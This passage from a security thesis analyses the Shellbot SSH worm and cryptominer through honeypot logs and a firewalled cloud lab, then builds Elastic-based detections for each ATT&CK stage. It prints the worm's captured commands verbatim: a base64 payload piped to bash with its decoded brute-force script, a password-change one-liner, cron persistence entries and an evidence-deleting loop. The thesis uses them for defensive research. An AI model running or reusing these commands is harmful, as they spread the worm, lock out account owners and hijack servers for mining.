\"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3Vud 
GZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApta2RpciAuWDE3 
LXVuaXgKY2QgLlgxNy11bml4Cm12IC92YXIvdG1wL2RvdGEudGFyLmd6IGRvdGE 
udGFyLmd6CnRhciB4ZiBkb3RhLnRhci5negpzbGVlcCAzcyAmJiBjZCAvdG1wLy 
5YMTctdW5peC8ucnN5bmMvYwpub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvY 
y90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAx 
IC1pIDAgL3RtcC91cC50eHQgMTkyLjE2OCA+PiAvZGV2L251bGwgMj4xJgpzbGV 
lcCA4bSAmJiBub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMT 
UwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3Rtc 
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C91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBj 
ZCAuLjsgL3RtcC8uWDE3LXVuaXgvLnJzeW5jL2luaXRhbGwgMj4xJgpleGl0IDA=\" 
| base64 --decode | bash", 
      "sensor": "ubuntu-s-1vcpu-2gb-ams3-01", 
      "log": "" 
 
 
We can use this information to create detections. Detections that cover a TTP are 
costly for attackers to bypass as they need to change their tooling, which is an action 
that it's hard to automate completely.  
Or in this case, we decode this, analyze the data surrounding this TTP and then 
recreate the full chain of infection to create the next scenario. 
 
7.4. Conclusion 
This honeypot has proved very useful to get a myriad of samples of worm, 
botnets and threat actor activity that is happening at the time of writing this thesis.  
With this information we can profile the adversaries that are trying to breach any 
target on the internet. Which can help profile to minimum level of tooling being used by 
attackers in the wild.  
With the information collected in this scenario we will build the following 
scenario and if any reader uses the same technique will surely find malware to be 
analyzed.  
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8. Ubuntu Cryptominer server scenario 
8.1. Introduction 
We analyse Shellbot in this scenario, an Internet worm that infects machines to 
mine cryptocurrency. The malware has the following attack pattern:   
• Brute force ssh credentials to gain access to the server.  
• Review it landed in a suitable server 
• Change the password of the infected user 
• Remove other cryptominers 
• Scan internal network for other servers with weak credentials.  
• Infect other servers.  
• Add server to botnet 
• Add monero miner to crontab 
• Start monero miner58 
 
To simulate a corporate network with a front-facing server and an internal 
network. We built 3 machines in the cloud with all the agents installed. The machines 
have the following names:  
 
• Ubuntu-s-4vcpu-8gb-blr1-02-main-server 
• Ubuntu-s-4vcpu-8gb-blr1-02-secondary-server 
• ubuntu-s-4vcpu-8gb-blr1-02-tertiary-server 
 
This laboratory has a firewall to block any traffic from the infected machines to 
the open internet to block the capabilities of the worm to infect real machines. There are 
more details about the configuration of the cloud sandbox in the "Lab Environment" 
chapter. 
 
8.1.1 Shellbot analysis 
Using the honeypot in the previous chapter, we identified several malware trying 
to hack our honeypot. However, we found a worm pushing a crypto miner (Monero 
 
58 https://web.getmonero.org/resources/about/  
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miner). We have identified through threat intelligence that this worm belongs to the 
"Shellbot"59  threat actor.  
We attribute the campaign by the IP they use to load dota.tar.gz60 
 
 
Image 16:   Threat Intelligence for detected IP 
 
We find a worm in the wild brute forcing ssh and then infecting the computer to 
run Monero and infect the internal network of that server.  
The commands registered in the honeypot are the following. 
 
Table 8: Shellbot actions captured by honeypot  
json.timestamp json.message 
Nov 20, 2019 @ 
22:08:49.200 
login attempt [ahmet/123456] succeeded 
Nov 20, 2019 @ 
22:08:49.238 
New connection: 35.206.156.221:53840 (188.166.8.195:2222) [session: 
2cde96bcda93] 
Nov 20, 2019 @ 
22:08:49.715 
CMD: cat /proc/cpuinfo | grep name | wc -l 
Nov 20, 2019 @ 
22:08:49.985 
CMD: echo -e "123456\nhFyYpn5bS1Cu\nhFyYpn5bS1Cu"|passwd|bash 
Nov 20, 2019 @ 
22:08:50.676 
CMD: echo "321" > /var/tmp/.var03522123 
Nov 20, 2019 @ 
22:08:50.948 
CMD: rm -rf /var/tmp/.var03522123 
Nov 20, 2019 @ 
22:08:51.271 
CMD: cat /var/tmp/.var03522123 | head -n 1 
Nov 20, 2019 @ 
22:08:51.560 
CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print 
$4,$5,$6,$7,$8,$9;}' 
Nov 20, 2019 @ 
22:08:51.563 
Command not found: cat /proc/cpuinfo | grep name | head -n 1 | awk {print 
$4,$5,$6,$7,$8,$9;} 
 
59 https://resources.threatstack.com/ebooks/soc-report-shellbot-malware# 
60 https://www.virustotal.com/gui/ip-address/5.255.86.129/details 
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Nov 20, 2019 @ 
22:08:51.900 
CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' 
Nov 20, 2019 @ 
22:08:51.902 
Command not found: free -m | grep Mem | awk {print $2 ,$3, $4, $5, $6, $7} 
Nov 20, 2019 @ 
22:08:52.267 
CMD: ls -lh $(which ls) 
Nov 20, 2019 @ 
22:08:52.268 
CMD: which ls 
Nov 20, 2019 @ 
22:08:52.543 
CMD: crontab -l 
Nov 20, 2019 @ 
22:08:52.907 
CMD: w 
Nov 20, 2019 @ 
22:08:53.192 
CMD: uname -m 
Nov 20, 2019 @ 
22:08:53.569 
CMD: cat /proc/cpuinfo | grep model | grep name | wc -l 
Nov 20, 2019 @ 
22:08:53.954 
CMD: top 
Nov 20, 2019 @ 
22:08:54.223 
CMD: uname 
Nov 20, 2019 @ 
22:08:54.525 
CMD: uname -a 
Nov 20, 2019 @ 
22:08:54.798 
CMD: lscpu | grep Model 
Nov 20, 2019 @ 
22:08:55.115 
CMD: echo "ahmet 123456" > /tmp/up.txt 
Nov 20, 2019 @ 
22:08:55.434 
CMD: rm -rf /var/tmp/dota* 
Nov 20, 2019 @ 
22:09:23.867 
SFTP Uploaded file "dota.tar.gz" tovar/lib/cowrie/downloads/4be3587fff7bd24 
fe254f2dee5c3501fd2824ec5dc7f3e4f7e1a6f 1e130e8ad6 
Nov 20, 2019 @ 
22:09:24.184 
CMD: cat /var/tmp/.systemcache436621 
Nov 20, 2019 @ 
22:09:24.419 
CMD: echo "1" > /var/tmp/.systemcache436621 
Nov 20, 2019 @ 
22:09:24.728 
CMD: cat /var/tmp/.systemcache436621 
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Nov 20, 2019 @ 
22:09:25.041 
 CMD: sleep 15s  
&& cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2g 
Kcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuW 
DEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApta 
2RpciAuWDE3LXVuaXgKY2QgLlgxNy11bml4 
Cm12IC92YXIvdG1wL2RvdGEudGFyLmd6I 
GRvdGEudGFyLmd6CnRhciB4ZiBkb3RhLn 
Rhci5negpzbGVlcCAzcyAmJiBjZCAvdG1wLy5Y 
MTctdW5peC8ucnN5bmMvYwpub2h1cC 
AvdG1wLy5YMTctdW5peC8ucnN5bmMvY 
y90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCA 
wIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91c 
C50eHQgMTkyLjE2OCA+PiAvZGV2L251bGwgMj4xJgpzb 
GVlcCA4bSAmJiBub2h1cCAvdG1wLy5 
YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYg 
LXMgNiAtcCAyMiAtUCAwIC1 
mIDAgLWsgMSAtbCAxIC1pIDAgL3Rtc 
C91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPj 
EmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3Rtc 
C8uWDE3LXVuaXgvLnJzeW5jL2luaXRhbGw  
gMj4xJgpleGl0IDA=" base64 --decode | bash | 
 
And we can also observe that there are different versions of this worm trying to 
infect machines on the internet. We can see each unique malware (by hash) trying to 
infect the honeypot but using the same techniques.  
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Image 17: Shellbot actions in Discovery view 
 
Many worms are competing for machines. Therefore, we can see constant 
scanning against our honeypot as can be observed in this visualization of events related 
to this malware.  
 
 
Image 18: Date histogram of raw shellbot activity 
 
The dota.tar.gz file has several components. The two we want to focus on are a 
ssh brute force61 and a crypto miner62.  
 
61https://www.virustotal.com/gui/file/4be3587fff7bd24fe254f2dee5c3501fd2824ec5dc7f3e4f7e1a6f1e130e8ad6/relations 
62https://www.virustotal.com/gui/file/f0c8fd2d12328e31745877e86f5e92baa879e32e8d43f2eaad1f2af89dd74bc8/detection  
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8.1.2 Dataset used 
Table 9: Shellbot_dataset description 
Environment Collector Edition Query Description Time 
shellbot_dataset Linux_Basic_1_0_0 _index:*shellbot* Contains the 
logs from 3 
machines that 
are involved in 
a Shellbot 
infection. 
Start: Nov 5 
2019 
09:00:00 
UTC 
End: Nov 5 
2019 
12:30:00 
UTC 
 
8.2. Preparation 
We created 3 machines in Digital Ocean and build a firewall to simulate the 
following corporate infrastructure.  
 
 
Image 19:  Network  diagram for Shellbot laboratory 
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Only DNS traffic is allowed because the malware doesn't use it to hack into other 
machines.  We allow HTTP traffic to add the infected server to the botnet and join the 
crypto miner to the Monero network).  
Outbound SSH traffic is blocked, to eliminate the possibility of infecting 
machines in the open internet. The details for how to replicate the scenario are in the 
"Lab Environment" chapter.  
We use the default Ubuntu 18.04 in digital ocean with the following agents:  
• Auditbeat 
• Packetbeat 
• Filebeat 
• Osquery 
• Metricbeat 
 
All the agents have the configuration described in this project.   
 
8.2.1 Lab Environment 
We use Digitalocean except the IP 77.97.64.233 that contains the ELK server. 
Particularly Logstash on port 5555. 
We have a firewall config for internal network that containers the Secondary 
server and Tertiary Server.  
 
 
Image 20: Digital Ocean Internal Network firewall configuration 
 
46 
 
These rules allow 2 HTTP IPs.  The malware uses them to receive orders from 
the botnet and join the Monero network to mine cryptocurrency.  
The Main firewall allows the first attack from the open internet; the infection use 
the techniques observed on our laboratory. 
 
 
Image 21: Digital Ocean Malware Lab firewall configuration 
 
The machines involved are the following.  
 
 
Image 22: Cloud machines involved in Shellbot Laboratory 
 
To generate more machines, once the initial configuration of the agents is 
complete, we create more deploys using a snapshot 63  of the already configured 
machines. This new machine sends the agent's data to ELK with its new name.   
 
63https://www.digitalocean.com/docs/images/snapshots/how-to/create-and-restore-droplets/  
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Image 23: Digital ocean snapshot manager 
 
8.3. Malware actions 
In this chapter, we describe the actions of the malware using Mitre attack TTPs. 
Not all actions of this malware are covered in this description. But it's one possible 
analysis to guide the detections in the next chapter.  
 
8.3.1 Initial Access 
[T1078] ValidAccounts64 
In this stage, the malware gains access to our system. This worm brute forces ssh 
credentials until it gains access to the server. 
The account in which it logs into the Main Server system is user: ahmet and 
password: 123456  
These credentials are the first to be tried by this malware. As was observed in the 
honeypot data. 
 
8.3.2 Execution  
[T1059] Command-Line Interface65 
Once the malware has access to the ssh session. It executed a series of 
commands from the shell.  
The command output is read by the malware to determine the next course of 
action. These are some of the commands executed by the malware through the ssh 
connection. 
 
64 https://attack.mitre.org/techniques/T1078 
65 https://attack.mitre.org/techniques/T1059 
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Code 7: Simulated malware actions 
ahmet@ubuntu-s-4vcpu-8gb-blr1-02-main-server:~$ echo -e 
"123456\nhFyYpn5bS1Cu\nhFyYpn5bS1Cu"|passwd|bash 
ahmet@ubuntu-s-4vcpu-8gb-blr1-02-main-server:~$ echo "321" > 
/var/tmp/.var03522123 
ahmet@ubuntu-s-4vcpu-8gb-blr1-02-main-server:~$ rm -rf 
/var/tmp/.var03522123 
ahmet@ubuntu-s-4vcpu-8gb-blr1-02-main-server:~$ cat /proc/cpuinfo 
| grep name | head -n 1 
model name    : Intel(R) Xeon(R) CPU E5-2650 v4 @ 2.20GHz 
ahmet@ubuntu-s-4vcpu-8gb-blr1-02-main-server:~$ cat /proc/cpuinfo 
| grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' 
Intel(R) Xeon(R) CPU E5-2650 v4 @ 
ahmet@ubuntu-s-4vcpu-8gb-blr1-02-main-server:~$ free -m | grep Mem 
| awk '{print $2 ,$3, $4, $5, $6, $7}' 
7976 220 7180 0 575 7533 
ahmet@ubuntu-s-4vcpu-8gb-blr1-02-main-server:~$ which ls 
/bin/ls 
ahmet@ubuntu-s-4vcpu-8gb-blr1-02-main-server:~$ ls -lh $(which ls) 
-rwxr-xr-x 1 root root 131K Jan 18  2018 /bin/ls 
ahmet@ubuntu-s-4vcpu-8gb-blr1-02-main-server:~$ crontab -l 
no crontab for ahmet 
ahmet@ubuntu-s-4vcpu-8gb-blr1-02-main-server:~$ w 
 18:11:17 up 51 min,  2 users,  load average: 0.00, 0.01, 0.03 
USER  TTY   FROM          LOGIN@   IDLE   JCPU   PCPU WHAT 
root  pts/0 77.97.64.233  17:54   11:25   0.13s  0.05s ssh 
root@139.59.36.137 
root  pts/1 77.97.64.233  18:00 2.00s  0.20s  0.00s w 
ahmet@ubuntu-s-4vcpu-8gb-blr1-02-main-server:~$ uname -m 
x86_64 
ahmet@ubuntu-s-4vcpu-8gb-blr1-02-main-server:~$ uname 
Linux 
ahmet@ubuntu-s-4vcpu-8gb-blr1-02-main-server:~$ top 
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top - 18:11:43 up 51 min,  2 users,  load average: 0.00, 0.01, 
0.03 
[...] 
ahmet@ubuntu-s-4vcpu-8gb-blr1-02-main-server:~$ cat /proc/cpuinfo 
| grep model | grep name | wc -l 
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If the machine is valid to be infected, a series of scripts remove all other crypto 
miners, create the files to execute all the capabilities of the malware and perform other 
tasks.  
 
8.3.3 Persistence 
 
[T1168] Local Job Scheduling66 
One of the tasks of the malware is to gain persistence. It's not executed directly 
by the primary process; instead, it will execute its crypto miner through cron after 
adding itself to crontab.  
The commands to accomplish this are the following:  
 
Code 8: Shellbot persistence mechanism 
echo "0 0 */3 * * $dir2/a/upd>/dev/null 2>&1 
@reboot $dir2/a/upd>/dev/null 2>&1 
5 8 * * 0 $dir2/b/sync>/dev/null 2>&1 
@reboot $dir2/b/sync>/dev/null 2>&1   
0 0 */3 * * $dir/c/aptitude>/dev/null 2>&1" >> cron.d 
 
crontab cron.d 
crontab -l 
 
  
 
66 https://attack.mitre.org/techniques/T1168  
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8.3.4 Defence Evasion 
[T1107] File Deletion67 
[T1158] Hidden Files and Directories68 
[T1140] Deobfuscate/Decode Files or Information69 
 
This worm is quite noisy if you have an advance collection capability. But it has 
some defence evasion to evade AV and difficult the analysis of the activity happening in 
the machine.  
After some files are loaded, they are used and immediately deleted. For example, 
the credential dictionary used to brute force ssh is loaded and removed. (It's the "p" file) 
as shown in the next figure.  
 
Code 9: b/tsm script 
#!/bin/bash 
dir=`pwd` 
cd $dir 
 
threads=302 
 
     while : 
     do 
     touch v 
     rm -rf p 
     rm -rf ip 
     rm -rf xtr* 
     rm -rf a a.* 
     rm -rf b b.* 
      
     timeout 12h ./tsm -t $threads -f 1 -s 12 -S 12 -p 0 -d 1 p 
ip 
 
67 https://attack.mitre.org/techniques/T1107 
68 https://attack.mitre.org/techniques/T1158 
69 https://attack.mitre.org/techniques/T1140 
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     sleep 3 
     rm -rf xtr* 
     rm -rf ip 
     rm -rf p 
     rm -rf .out 
     rm -rf /tmp/t* 
     done 
exit 0 
 
The scripts execute from hidden directories inside the /tmp directory. A couple 
of examples are ".nullcache" and ".X17-unix". These directories don't appear by default 
if the user is using a file manager.  
 
Code 10: b/tsm script 
cd ~/.nullcache/a/ 
nohup ./init0 >> /dev/null & 
sleep 5s 
nohup ./a >>/dev/null & 
cd ~/.nullcache/b/ 
nohup ./a >>/dev/null & 
 
The ssh brute force feature is executed in the system using a base64 encoded 
bash command.  
The script encoded is the following:  
 
Code 11: Shellbot obsfuscated payload 
CMD: sleep 15s && cd /var/tmp; echo  
"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCn 
JtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApta2RpciAuWDE3LXVuaXgKY 
2QgLlgxNy11bml4Cm12IC92YXIvdG1wL2RvdGEudGFyLmd6IGRvdGEudGFyLmd6CnRh 
ciB4ZiBkb3RhLnRhci5negpzbGVlcCAzcyAmJiBjZCAvdG1wLy5YMTctdW5peC8ucnN5 
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bmMvYwpub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYg 
LXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTky 
LjE2OCA+PiAvZGV2L251bGwgMj4xJgpzbGVlcCAyMG0gJiYgbm9odXAgL3RtcC8uWDE3 
LXVuaXgvLnJzeW5jL2MvdHNtIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAw 
IC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE3Mi4xNiA+PiAvZGV2L251bGwgMj4x 
JgpzbGVlcCA1bSAmJiBjZCAuLjsgL3RtcC8uWDE3LXVuaXgvLnJzeW5jL2luaXRhbGwg 
Mj4xJgpleGl0IDA=" | base64 --decode | bash 
 
The following is the decoded Shellbot command:  
  
Code 12: Shellbot payload deobfuscated 
#!/bin/bash 
 
cd /tmp     
rm -rf .ssh 
rm -rf .mountfs 
rm -rf .X13-unix 
rm -rf .X17-unix 
mkdir .X17-unix 
cd .X17-unix 
mv /var/tmp/dota.tar.gz dota.tar.gz 
tar xf dota.tar.gz 
sleep 3s && cd /tmp/.X17-unix/.rsync/c 
nohup /tmp/.X17-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 
-k 1 -l 1 -i 0 /tmp/up.txt 192.168 >> /dev/null 2>1& 
sleep 20m && nohup /tmp/.X17-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 
22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 172.16 >> /dev/null 2>1& 
sleep 5m && cd ..; /tmp/.X17-unix/.rsync/initall 2>1& 
exit 0 
 
These commands load the payload "dota.tar.gz" and then uses tsm (the ssh brute 
forcer) to scan the 192.168.0.0/16 and 172.16.0.0/16 network. The scanner brute forcers 
any open ssh service.    
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8.3.5 Credential Access 
[T1110] Brute Force70 
This malware has a dictionary of credentials. It tries each credential until it logs 
in into any ssh server it finds.  
 
The origin of the dictionary of credentials is unknown but acquiring a dictionary 
of weak credentials is an essential skill for any threat actor.  
 
8.3.6 Discovery 
[T1082] System Information Discovery71 
Once the machine is infected before the full payload is loaded the ssh brute force 
analyses the machine and reviews the following details:   
• CPU info 
• CPU power 
• Available memory  
• Binaries common in honeypots 
We suspect this technique ensures the payload is not wasted on honeypots.   
 
8.3.7 Lateral Movement 
[T1078] Valid Accounts72 
Being a worm, it tries to scan the network and infect any devices that it can.  
The "tsm" application is to perform that.  
This is the output that will infect the secondary server. Although it's scanning a 
public range the only 2 IPs the firewall allows to reach are the Secondary server and 
Tertiary server. 
 
70 https://attack.mitre.org/techniques/T1110 
71 https://attack.mitre.org/techniques/T1082 
72 https://attack.mitre.org/techniques/T1078 
54 
 
 
Image 24: tsm module execution 
 
8.3.8 Command and Control 
[T1102] Web Service73 
This malware has an IRC component; it also has a web service command and 
control.  
The "go" script74 generates the following pcap. It receives an auth token and 
sends information back and forth to a web service that we suspect acts to keep track of 
the infected servers.  
 
 
Image 25: Shellbot network activity 
 
It then connects to the Monero75 network to join it and send the result it's crypto 
mining operations. 
 
Image 26: Shodan resolution of network activity 
  
 
73 https://attack.mitre.org/techniques/T1102 
74 https://www.virustotal.com/gui/url/94bae05e70d58cbd277167eba7cc81b34a2e372c05e29891bb2700803512bde9/details  
75 https://www.shodan.io/host/107.191.99.221  
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8.3.9 Impact 
[T1531] Account Access Removal76 
[T1496] Resource Hijacking77 
 
One of the first actions of this malware is to change the password of the user 
infected.  
As can be seen in the following command:  
 
 
Image 27: Shellbot password change 
 
This action is probably to ensure the malware is the only one with access to the 
system. Moreover, it protects this malware from other aggressive malware trying to 
infect this system.  
When it completes all the checks, the malware starts mining Monero 
cryptocurrency, which counts as Resource Hijacking.  
This activity makes the module of the malware called "cron" consume all the 
CPU available in the system.  
 
8.4. Blue Team Analysis  
On the defence side. We need to achieve specific objectives to detect the initial 
compromise and investigate activities performed by this malware.  
In the following table, we can see which logs we have and identify the different 
stages of the attack. We rely heavily on the Auditbeat module. We use the command 
line logging and other modules that use the auditd kernel module.  
  
 
76 https://attack.mitre.org/techniques/T1531 
77 https://attack.mitre.org/techniques/T1496 
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Table 10: Shellbot TTP analysis 
Att&ck Stage Detections 
Log sources Mitre 
technique 
Reconnaissance Scanner Detection. High 
volume of IPs on port 22 
accessed by one host. 
Packetbeat 
(event.action:network_flow) 
T1254 
 
Initial Access SSH brute force scanner 
Detection. High number 
of failed logins from IP 
Filebeat (event.dataset: 
auth ) 
T1078 
Initial Access SSH brute force scanner 
Detection. Honeytoken 
account being accessed. 
Filebeat (event.dataset: 
auth ) 
T1078 
Execution Suspicious command 
executed on CLI 
Auditbeat T1059 
Persistence Persistence review. 
Unique app added to cron 
job. 
Auditbeat T1168 
Defence evasion Scripts executed from 
unique hidden folder. 
Auditbeat T1158 
Defence evasion Encoded commands pipe 
out to bash 
Auditbeat T1140 
Discovery System discover 
commands 
Auditbeat T1082 
Command and 
Control 
Connection to crypto 
mining network. 
Packetbeat 
(event.action:network_flow) 
T1102 
Impact Spike in CPU usage by 
single unknown process. 
Metricbeat T1496 
 
 
8.4.1 Scanner Detection. High volume of IPs on port 
22 accessed by one host. 
Scanner Detection. High volume of IPs on port 22 accessed by one host. 
We can review if an internal server is trying to scan the whole network on port 
22 as this may indicate some sort of scanning activity. SSH traffic should be reasonably 
easy to baseline as it's not expected behaviour to try multiple machines on their ssh port 
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unless for particular services that may be used for deploying or doing specific company-
wide actions. 
The aggregation, in this case, is an ascending order search for the unique count 
of destination.ip based or source IP and filtered on the port 22.  
In this case, we are using Auditbeat.  We want to identify machines doing 
network reconnaissance.  
 
 
Image 28: SSH connections 
 
In this search, the IP 139.9.82.55 is suspicious. This rule is high fidelity in the 
internal network. The information of external IP is not very useful because there is 
constant scanning of anything with a public IP. And on this visualization, we can see 
that we have a very long list of IPs trying to access our only server on the open internet 
before we added the firewall and blocked all connections. 
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8.4.2 SSH brute force scanner Detection. High 
number of failed logins from IP 
From the SIEM feature, we can see spikes in the activity. And a high number of 
failed logins and many destination IPs compared to source IPs. This behaviour may be 
normal, mostly on front-facing web server but this network profile on an internal 
network may be worrying.  
 
 
Image 29: SIEM default view 
 
8.4.3 Suspicious command executed on CLI 
This detection is not high definition. It can be broken down on specific 
commands being executed. It's very dependent on the application being used in the 
company for maintenance and development.  
 
 
Image 30: Uncommon Processes SIEM view 
 
From the processes identified by the SIEM feature on the first page, we can 
identify the following that are related to malicious activity (When analysed 
individually) 
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• Aptitude 
• Command-no-fou 
• Free 
• Init0 
• Lscpu 
• Rsync 
• snap 
We can see that the user "ahmet" is tied to all uncommon processes.  
This alert can be broken down into more specific detection and is a prime target 
for the use of Machine Learning to flag anomalies. Our recommendation is to baseline 
what normal looks like (Tying user, process and arguments) so when an investigation 
takes place, it's easier to filter out what is to be expected.  
The main disclaimer is that some advanced attackers can baseline what logs look 
normal on your network. Then blend in using normal looking behaviour that is used by 
administrators. So it's not advised this technique as an ultimate measure for triaging 
alerts.  
 
 
8.4.4 Persistence review. Unique app added to cron 
job. 
It's common for legitimate application to be added to cron. But because of this 
ease of use, cron jobs should be reviewed for any suspicious application.  
Ideally, all newly added application to cron have their information (Specially 
hash) collected, and then a unique count aggregation used to review normality. And new 
applications automatically correlated with threat intelligence to flag suspicious binaries 
or scripts.  
This method can be used as a search to uncover possible malicious actions on a 
machine suspected to be infected.  
In this case we can see the binary "home/ahmet/.nullchache/a/cron" being 
executed through a cron job.  
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Image 31: CRON activity 
 
We can then search the sha1 related to this binary.   
 
 
Image 32: AV signature  detections 
 
And we can discover that a Coinminer78 has been added to the cron job of our 
machine.  
 
8.4.5 Scripts executed from hidden folder. 
It's not common to for executables to be executed from a hidden folder79. Hidden 
files (or folders) are not displayed by default on file managers. Itś any file or directory 
that has a name starting with a "."  
We can easily search if there are any binary in a hidden folder being executed.  
  
 
78  https://www.virustotal.com/gui/file/2d9fb5ea6356fba9734673ba4ed1653ff7e887875cc3bfc9da7669c80a53a93b/detection  
79 https://help.ubuntu.com/stable/ubuntu-help/files-hidden  
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Image 33: Execution from hidden folders 
 
This search immediately flags 2 suspicious binaries. One inside the folder  
".rsync" and the other in the folder ".nullcache". Both files are directly related to the 
worm.  
 
8.4.6 Encoded commands pipe out to bash 
The use of encoding and decoding is not malicious, but it can be used for 
malicious intent. In this particular case, we focus on base64. But there are other 
standard algorithms used, for example, XOR and ROT13 that fulfil the same purpose of 
obfuscating the malicious payloads to signature-based detection.  
We can search for the use of the base64 application in the system.  
 
 
Image 34: Encoded command execution 
 
We can then quickly discover that some decoding activity is taking place.  
Then we can pivot and review which activity was happening on the same 
working directory around the time the decoding was taking place.  
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Image 35: Shellbot commands executed 
 
As we can see the activity surrounding the decoding command is suspicious.  
We can also use a regex to discover base64-like patterns in the arguments of 
commands. Then we can uncover commands that use the built it base64 capabilities in 
applications like Powershell or echo.  
 
8.4.7 System discover commands 
This worm analyses the system it accesses to see if it's an adequate system to 
infect. We can search for the commands used, and this can be used as a weak indicator 
that suspicious activity is happening.  
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Image 36: System discovery commands 
 
This worm triggers the following keywords related to system discovery.   
• “Lscpu” 
• “Free” 
• “Cat /proc/cpuinfo” 
These are all the commands used by legitimate users. On a normal environment, 
it is challenging to separate these commands from a legitimate administrator. 
Nonetheless, when compiling if a threat actor is present in a system, the discovery phase 
can be used against them. Not all system may be infected by the same malware even if 
it's the threat actor. So, commands perform to see if the system is suitable once the 
attacker has been profiled can be used to uncover other samples.   
 
8.4.8 Connection to crypto mining network. 
We need Threat Intelligence to guide this detection. But if we have another 
system that is enriching the IPs/Domains that we find on Packetbeat, we can profile the 
traffic better.  
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In our case for example if we were enriching the data with Bluecoat Sitereview80 
categorization we could find in the logs that the traffic from the "cron" process is trying 
to reach a "Potentially Unwanted Software" (PUA) IP. We can use automation to flag 
processes that are talking to IPs categorized as malware, command and control or PUA.  
 
 
Image 37: Category of  Cryptominer IP 
 
8.4.9 Spike in CPU usage by single unknown process. 
This logic is one of the most common detection alerts for crypto miners. Not 
because of its high fidelity but because of its ubiquity. Most cloud services offer an out 
of the box performance monitor. And alerts can be set if any resources reach its limit 
stays there for an extended period.  
Cryptominer may not always use all CPU available, but they commonly do. So if 
we build in Kibana a visualization of CPU activity in all our systems, we can if a 
particular system has a sudden spike.  
 
Image 38: CPU  usage by hostname 
 
 
80 https://sitereview.bluecoat.com/#/  
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This visualization uses the metric Max count of system.cpu.total.pct, which has a 
maximum of 100% multiplied by the number of cores in a particular system. Then we 
split the series by host.id so we can see the top 5 hosts in terms of CPU utilization.  
The visualization shows how the main server and secondary server are using all 
4 of their CPUs continuously. Indication that some service in the system is 
malfunctioning if this spike happens after a long time of correct operation.  
With Metricbeat, we can also review which particular process is causing this 
spike of CPU usage.  
 
 
Image 39: CPU usage by process 
 
In this case, we can see the "cron" process being the top offender in both the 
main and secondary machine. This process indicates the execution of the cryptominer.  
On the other hand, Auditbeat uses 100% of one CPU when the tsm process is 
working at full capacity. This "tsm" process is the worm feature that contains an ssh 
brute force malware.  
 
8.5. Conclusion 
We can conclude that this malware can be easily detected when applying 
continuous monitoring. And it's easily preventable by disabling password based ssh 
login. But on less mature network this worm can get into the network and start infecting 
machines in the internal network.  
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As we can see with the honeypot, this worm is quite successful, as any machine 
with a ssh service exposed is immediately scanned by it.  
On this scenario, we have 3 main ways of detecting the worm.  
 
• Billing and metric spikes related alerts can be easily enabled and will alert when 
a crypto miner is active on a machine as they tend to use all resources.  
• Worm-like behaviour in the network doesn't require much monitoring of the 
affected server but requires having servers or an IDS identifying the scanning 
activity happening in the internal network.  
• With a bit of baselining and a continuous monitoring solution, we can quickly 
discover commands that may raise concerns.  
 
8.5.1 Shellbot_Adama_searches Dashboard 
Once identified the threat. We can have dashboards created with prebuilt 
searches based on Adama81. 
This dashboard can give context on the suspicious activity and corroborate if the 
threat identified matches what we have seen in our testing.  
We can quickly produce a pdf report of this dashboard to share with other 
analysts. This pdf, however, lacks the complete information as it has a limited capability 
to show the information in every search if it goes beyond immediate view.  
 
Image 40: Adama-Shellbot Dashboard 
 
  
 
81 https://github.com/randomuserid/Adama 
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9. Final Conclusions 
 
The objective of this thesis is the use of cutting edge methodology for the study 
of attacks. Moreover, we are using the Elastic stack to bring all together. 
Our experiments have been successful, and the proposed methodology is clear 
and straightforward to simulate attacks.  
The Elastic stack provides flexible tooling to analyse these scenarios and has 
visualisation tools that enable us to show and pivot through information quickly.  
This thesis is improving state of the art in the niche space of Linux Threat 
Hunting analytics. But it follows the broader movement to standardise the analysis of 
attacks and sharing of information.  
To conclude, any approach that becomes the standard must have the following 
minimum characteristics.  
 
• Share detection logic 
• Share information with a standard format 
• Build the analysis with Mitre Att&ck  
 
Finally, we want to end with the following thought: Cybersecurity threats are 
evolving as networks become more complex. It's critical to build an open-source 
detection encyclopedia that has a low barrier of entry to use and contribute. This effort 
will allow the industry to fare better in more dangerous technological future. 
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Appendix 
The following chapters contains additional information to be able to build the 
laboratory and setup the collection capabilities required to conduct the experiments 
shown in this thesis.  
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5. Architecture of the laboratory 
5.1. Collection configuration 
The lab will have one virtual machine and one docker container.  
One Ubuntu based and the other will have Logstash, Elastic and Kibana services 
inside of a container.  
 
 
5.2. Dockerized ELK  
To deploy Logstash, Elasticsearch and Kibana we will use the “elk-docker”. The 
code is available in the Docker Hub and Github. The documentation can be found here82.  
